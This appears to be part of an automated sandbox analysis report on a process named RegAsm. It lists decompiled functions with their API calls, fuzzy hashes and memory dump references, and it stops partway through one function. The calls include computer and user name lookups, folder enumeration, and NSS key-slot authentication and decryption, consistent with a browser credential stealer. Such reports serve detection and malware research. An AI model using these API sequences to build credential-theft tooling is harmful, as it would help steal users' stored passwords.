Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: b4896696c15f0c913ac963dad817e9238a63ff738b3eaca55fd6d2732568b7c2
Instruction ID: d2f8e92f06f21ad00195b851541a0fca05b03a5e78dc2554d63ff73f5d8ac6c5
Opcode Fuzzy Hash: b4896696c15f0c913ac963dad817e9238a63ff738b3eaca55fd6d2732568b7c2
Instruction Fuzzy Hash: A9717371911108ABCF14FBA1DC56EEE7339BF54314F40412EF403A2191EF786A58CBAA

Function 004066B0 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00406E0E,00406E0E,00003000,00000040), ref: 00406756
VirtualAlloc.KERNEL32(00000000,00406E0E,00003000,00000040), ref: 004067A3

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: badb7cecddd27d9e1aa55144c1fc7f4ba9690274eb5e83060997e099dbd08bd4
Instruction ID: 4499aa19cc86b02a1bac446f32e864e245a0bde13e44bf0a480e22725e368a89
Opcode Fuzzy Hash: badb7cecddd27d9e1aa55144c1fc7f4ba9690274eb5e83060997e099dbd08bd4
Instruction Fuzzy Hash: 2B41F334A00208EFCB44CF58C494BADBBB1FF44314F1486A9E94AAB385C735EA91CF84

Function 00414B30 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414B6A
lstrcat.KERNEL32(?,00EC1E20), ref: 00414B88

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: d960752c4311bc287c46e40f2d09a09b527c12de4060fecb8626a5b241c9c805
Instruction ID: 3c3433cccd63aeccdbe2a936e698fd88f8205579aacfd307105c0296dbc1629e
Opcode Fuzzy Hash: d960752c4311bc287c46e40f2d09a09b527c12de4060fecb8626a5b241c9c805
Instruction Fuzzy Hash: 8B01967690021C67CB24FB60DC46EDE733C9B64304F40415EBA4A57191FEB8AAC98BE5

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,004164BC), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,004164BC), ref: 004010F7

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: f9d4902d87d53e064eb978b4b4efccb4618282ab89b9805507bbfbdb43c54504
Instruction ID: f48f966fb8dbc32d8d9482a6eca9c47ea769ab036d71d5fa6551aa32425d7b68
Opcode Fuzzy Hash: f9d4902d87d53e064eb978b4b4efccb4618282ab89b9805507bbfbdb43c54504
Instruction Fuzzy Hash: 62F02771641218BBE7149BA4AD49FAFB7DCE705B08F304459F940E3390D5719F00DA64

Function 00418830 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,0040FF57,?,00000000,?,00000000,00420D97,00420D96), ref: 0041883F

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 276bb3aec74e4af6613c368acf80f5e0b985b049ffbf94c9a686491cb31b76a1
Instruction ID: 05b335d21f22619e77aa966aeb7f376ddd46b9d978e537c949d5f100d696e3dd
Opcode Fuzzy Hash: 276bb3aec74e4af6613c368acf80f5e0b985b049ffbf94c9a686491cb31b76a1
Instruction Fuzzy Hash: 70F01570C0020CEFCB04EFA5C9496DDBB75EB00324F50859EE82AA7281DBB85B95CB85

Function 00418880 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 3c00b6a056ff1b7dc2f0e45d7746659429eb440c69b19d979d0360e680d490b7
Instruction ID: 7b71b80bc5ec6c4d76f30a423bf4d75a71df8f4b6dd8708b5fa25dfbbe6c75fa
Opcode Fuzzy Hash: 3c00b6a056ff1b7dc2f0e45d7746659429eb440c69b19d979d0360e680d490b7
Instruction Fuzzy Hash: 7AE01A31A4034C7BDB55EBA0CC96FEE736CAB44B15F004299BA0C5B1C0EE74AB858B91

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: 0dde54e68933c144dc9d433c77b62f5ff363c8b2548fcf823f9b9f06c0cc5b37
Instruction ID: 84cbab3e625f5c703ca2aee7bdcd0b4d96e9050e400d57d2133d1b743e823249
Opcode Fuzzy Hash: 0dde54e68933c144dc9d433c77b62f5ff363c8b2548fcf823f9b9f06c0cc5b37
Instruction Fuzzy Hash: 8EE0C27190070222DB2033B66C06B6B329D0B1435DF00052EFA08D7252FE3CF81182AC

Function 004098D0 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 004098D8

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction ID: 85591d8b2077324c158e0d5cdc0cd752fc6e9f2d8541dbcaab8872a49f7b11e9
Opcode Fuzzy Hash: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction Fuzzy Hash: CFF054B4D00208FBDB00EFA5C946B9EB7B4AB08304F1085A9FD05A7381E6749B00CB95

Non-executed Functions

Function 6904A9A0 Relevance: 21.2, APIs: 14, Instructions: 214COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6904A9CA

Part of subcall function 69060FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,690087ED,00000800,68FFEF74,00000000), ref: 69061000
Part of subcall function 69060FF0: PR_NewLock.NSS3(?,00000800,68FFEF74,00000000), ref: 69061016
Part of subcall function 69060FF0: PL_InitArenaPool.NSS3(00000000,security,690087ED,00000008,?,00000800,68FFEF74,00000000), ref: 6906102B

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,69160B04,?), ref: 6904A9F7

Part of subcall function 6905B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,691318D0,?), ref: 6905B095

PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6904AA0B
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6904AA33
PK11_GetInternalKeySlot.NSS3 ref: 6904AA55
PK11_Authenticate.NSS3(00000000,00000001,?), ref: 6904AA69
PORT_FreeArena_Util.NSS3(00000001,00000001), ref: 6904AAD4
PK11_ListFixedKeysInSlot.NSS3(?,00000000,?), ref: 6904AB18
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6904AB5A
PK11_FreeSymKey.NSS3(00000000), ref: 6904AB85
PK11_FreeSymKey.NSS3(00000000), ref: 6904AB99
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6904ABDC
PK11_FreeSymKey.NSS3(?), ref: 6904ABE9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6904ABF7

Part of subcall function 6904AC10: PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6904AB3E,?,?,?), ref: 6904AC35
Part of subcall function 6904AC10: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6904AB3E,?,?,?), ref: 6904AC55
Part of subcall function 6904AC10: PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6904AB3E,?,?), ref: 6904AC70
Part of subcall function 6904AC10: PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6904AC92
Part of subcall function 6904AC10: PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6904AB3E), ref: 6904ACD7

Memory Dump Source

Source File: 0000000B.00000002.2436541137.0000000068F81000.00000020.00000001.01000000.00000015.sdmp, Offset: 68F80000, based on PE: true

Associated: 0000000B.00000002.2436518776.0000000068F80000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437879086.000000006915E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437901125.000000006915F000.00000008.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437928253.0000000069160000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437949894.0000000069165000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_68f80000_RegAsm.jbxd

Similarity

API ID: K11_$Util$Free$Arena_Item_$Zfree$ArenaContextSlot$Alloc_AuthenticateBlockCipherCreateDecodeDestroyErrorFixedInitInternalKeysListLockPoolQuickSizecalloc
String ID:
API String ID: 2602994911-0
Opcode ID: 800fd51ccc8f65b647f011376704ce175d246e8fd0987a6a77dad7cce5cc3dc7
Instruction ID: 728ff8f1b31d9f4fe218d0ccd2e0cc90c2c73aa14ac150cd2e15b396f703b276
Opcode Fuzzy Hash: 800fd51ccc8f65b647f011376704ce175d246e8fd0987a6a77dad7cce5cc3dc7
Instruction Fuzzy Hash: FB71F376908301DBE700CF249D41B1BB3EAAF84B68F208E39F96597251EB71D954C7D2

Function 690209A0 Relevance: 11.0, APIs: 7, Instructions: 489memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 690206A0: TlsGetValue.KERNEL32 ref: 690206C2
Part of subcall function 690206A0: EnterCriticalSection.KERNEL32(?), ref: 690206D6
Part of subcall function 690206A0: PR_Unlock.NSS3 ref: 690206EB

memcmp.VCRUNTIME140(00000000,69009B8A,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,69009B8A,00000000,69002D6B), ref: 690209D9
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,69009B8A,00000000,69002D6B), ref: 690209F2
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000000,?,?,69009B8A,00000000,69002D6B), ref: 69020A1C
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000,00000000,?,?,69009B8A,00000000,69002D6B), ref: 69020A30
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,?,69009B8A,00000000,69002D6B), ref: 69020A48

Memory Dump Source

Source File: 0000000B.00000002.2436541137.0000000068F81000.00000020.00000001.01000000.00000015.sdmp, Offset: 68F80000, based on PE: true

Associated: 0000000B.00000002.2436518776.0000000068F80000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437879086.000000006915E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437901125.000000006915F000.00000008.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437928253.0000000069160000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437949894.0000000069165000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_68f80000_RegAsm.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Alloc_ArenaUtilmemcmp
String ID:
API String ID: 115324291-0
Opcode ID: 47bd3bbc49d8fd388723505bc044b5da6656da1169c03d61e352407b21f4300b
Instruction ID: 926a1ed43ea2908fe18694cd03aa67072c308b97fa2a0d4bf052d757c5b76af9
Opcode Fuzzy Hash: 47bd3bbc49d8fd388723505bc044b5da6656da1169c03d61e352407b21f4300b
Instruction Fuzzy Hash: 8602CCB6D043059FEB00CF64DDA1BAB77BAFF48358F044928E915AB252E731E941CB91

Function 69046910 Relevance: 38.6, APIs: 15, Strings: 7, Instructions: 131COMMON

Download Yara Rule

APIs

NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 69046943

Part of subcall function 69064210: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CB51ED9,flags,?,00000000,?,69045947,flags,printPolicyFeedback,?,?,?,?,?,?,00000000), ref: 69064220
Part of subcall function 69064210: NSSUTIL_ArgGetParamValue.NSS3(?,69045947,?,?,?,?,?,?,00000000,?,00000000,?,69047703,?,00000000,00000000), ref: 6906422D
Part of subcall function 69064210: PL_strncasecmp.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,69047703), ref: 6906424B
Part of subcall function 69064210: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,00000000,?,00000000,?,69047703,?,00000000), ref: 69064272

NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 69046957
NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 69046972
NSSUTIL_ArgStrip.NSS3(00000000), ref: 69046983

Part of subcall function 69063EA0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(8914C483,70E85609,6903C79F,?,69046247,70E85609,?,?,6903C79F,6904781D,?,6903BD52,00000001,70E85609,D85D8B04,?), ref: 69063EB8

PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 690469AA
PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 690469BE
PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 690469D2
NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 690469DF

Part of subcall function 69064020: isspace.API-MS-WIN-CRT-STRING-L1-1-0(FFFFEF69,00000000,?,?,766B4C80,?,690650B7,?), ref: 69064041

free.MOZGLUE(00000000), ref: 690469F6
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 69046A04
free.MOZGLUE(00000000), ref: 69046A1B
NSSUTIL_ArgFetchValue.NSS3(-0000000B,?), ref: 69046A29
free.MOZGLUE(00000000), ref: 69046A3F
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 69046A4D
NSSUTIL_ArgStrip.NSS3(?), ref: 69046A5B

Strings

readOnly, xrefs: 6904693D
flags, xrefs: 69046937, 69046942, 69046956, 6904696D
nocertdb, xrefs: 69046951
certPrefix=, xrefs: 690469B8
nokeydb, xrefs: 69046968
configdir=, xrefs: 690469A4
keyPrefix=, xrefs: 690469CC

Memory Dump Source

Source File: 0000000B.00000002.2436541137.0000000068F81000.00000020.00000001.01000000.00000015.sdmp, Offset: 68F80000, based on PE: true

Associated: 0000000B.00000002.2436518776.0000000068F80000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437879086.000000006915E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437901125.000000006915F000.00000008.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437928253.0000000069160000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.2437949894.0000000069165000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_68f80000_RegAsm.jbxd

Similarity

API ID: L_strncasecmpValuefree$FetchFlag$Stripisspace$ParamParameterSkipstrlen
String ID: certPrefix=$configdir=$flags$keyPrefix=$nocertdb$nokeydb$readOnly
API String ID: 2065226673-2785624044
Opcode ID: 4e32ee1e6f73b52b76b93006637c8d9a0e91d02907ce9e8f7604799e30e4a325
Instruction ID: b776f46dfc28bc4daab93aa0b7711cbf40d0186daabdcadedda7d0e179a8d688
Opcode Fuzzy Hash: 4e32ee1e6f73b52b76b93006637c8d9a0e91d02907ce9e8f7604799e30e4a325
Instruction Fuzzy Hash: E04182F5E00206EBEB00DB74AC95B5F77ECAF05648F545830E906E7252F735DA24C6A2

Function 6906C980 Relevance: 33.3, APIs: 22, Instructions: 298memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,6906AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6906C98E

Part of subcall function 69060FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,690087ED,00000800,68FFEF74,00000000), ref: 69061000
Part of subcall function 69060FF0: PR_NewLock.NSS3(?,00000800,68FFEF74,00000000), ref: 69061016
Part of subcall function 69060FF0: PL_InitArenaPool.NSS3(00000000,security,690087ED,00000008,?,00000800,68FFEF74,00000000), ref: 6906102B

